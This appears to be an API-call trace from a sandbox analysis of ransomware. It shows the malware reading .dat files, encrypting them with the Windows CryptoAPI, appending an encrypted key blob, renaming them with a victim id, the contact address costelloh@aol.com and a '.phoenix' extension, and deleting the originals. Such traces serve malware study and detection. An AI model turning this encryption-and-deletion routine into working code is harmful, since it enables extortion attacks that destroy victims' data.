	[0266.143] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0266.156] CryptDestroyKey (hKey=0x151600) returned 1
	[0266.156] CloseHandle (hObject=0x2b0) returned 1
	[0266.156] CloseHandle (hObject=0x304) returned 1
	[0266.156] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh537c2.dat")) returned 1
	[0266.157] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0266.157] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5pnb1.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.160] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=454) returned 1
	[0266.161] CloseHandle (hObject=0x2b0) returned 1
	[0266.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5pnb1.dat")) returned 0x20
	[0266.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5pnb1.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.161] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5pnb1.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.161] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.162] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.162] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5pnb1.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.165] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0266.165] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.165] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1c6, lpOverlapped=0x0) returned 1
	[0266.165] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0) returned 1
	[0266.165] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.166] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151340) returned 1
	[0266.166] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.166] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0266.166] CryptDestroyKey (hKey=0x151340) returned 1
	[0266.166] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0266.170] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0266.170] CloseHandle (hObject=0x2b0) returned 1
	[0266.170] CloseHandle (hObject=0x2e8) returned 1
	[0266.170] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5pnb1.dat")) returned 1
	[0266.171] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0266.171] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd29v9.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.174] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=462) returned 1
	[0266.174] CloseHandle (hObject=0x2b0) returned 1
	[0266.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd29v9.dat")) returned 0x20
	[0266.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd29v9.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.174] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd29v9.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.174] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.174] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.174] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd29v9.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.174] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0266.174] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.175] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1ce, lpOverlapped=0x0) returned 1
	[0266.175] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0) returned 1
	[0266.175] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.176] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151100) returned 1
	[0266.176] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.176] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0266.176] CryptDestroyKey (hKey=0x151100) returned 1
	[0266.176] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0266.211] CryptDestroyKey (hKey=0x151640) returned 1
	[0266.211] CloseHandle (hObject=0x2b0) returned 1
	[0266.211] CloseHandle (hObject=0x304) returned 1
	[0266.211] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD29V9.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd29v9.dat")) returned 1
	[0266.212] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0266.212] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbjj.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.212] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=454) returned 1
	[0266.212] CloseHandle (hObject=0x304) returned 1
	[0266.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbjj.dat")) returned 0x20
	[0266.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbjj.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.212] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbjj.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.213] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.213] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.213] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbjj.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.213] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1512c0) returned 1
	[0266.213] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.213] ReadFile (in: hFile=0x304, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1c6, lpOverlapped=0x0) returned 1
	[0266.214] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0) returned 1
	[0266.214] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.215] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1516c0) returned 1
	[0266.215] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.215] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0266.215] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0266.215] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0266.218] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0266.219] CloseHandle (hObject=0x304) returned 1
	[0266.219] CloseHandle (hObject=0x2b0) returned 1
	[0266.219] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBJJ.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbjj.dat")) returned 1
	[0266.220] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0266.220] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhv4v.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.223] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=455) returned 1
	[0266.223] CloseHandle (hObject=0x304) returned 1
	[0266.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhv4v.dat")) returned 0x20
	[0266.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhv4v.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.224] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhv4v.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.224] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.224] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.224] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhv4v.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.227] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1516c0) returned 1
	[0266.227] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.227] ReadFile (in: hFile=0x304, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1c7, lpOverlapped=0x0) returned 1
	[0266.228] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0) returned 1
	[0266.228] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.231] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151340) returned 1
	[0266.231] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.231] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0266.231] CryptDestroyKey (hKey=0x151340) returned 1
	[0266.231] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0266.232] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0266.232] CloseHandle (hObject=0x304) returned 1
	[0266.232] CloseHandle (hObject=0x2e8) returned 1
	[0266.232] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhv4v.dat")) returned 1
	[0266.233] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0266.233] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvfw.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.233] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=452) returned 1
	[0266.233] CloseHandle (hObject=0x2e8) returned 1
	[0266.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvfw.dat")) returned 0x20
	[0266.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvfw.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.234] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvfw.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.234] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.234] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.234] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvfw.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.235] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151600) returned 1
	[0266.235] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.235] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1c4, lpOverlapped=0x0) returned 1
	[0266.236] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0) returned 1
	[0266.236] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.237] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151340) returned 1
	[0266.237] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.237] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0266.237] CryptDestroyKey (hKey=0x151340) returned 1
	[0266.237] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0266.397] CryptDestroyKey (hKey=0x151600) returned 1
	[0266.397] CloseHandle (hObject=0x2e8) returned 1
	[0266.397] CloseHandle (hObject=0x304) returned 1
	[0266.442] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvfw.dat")) returned 1
	[0266.450] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
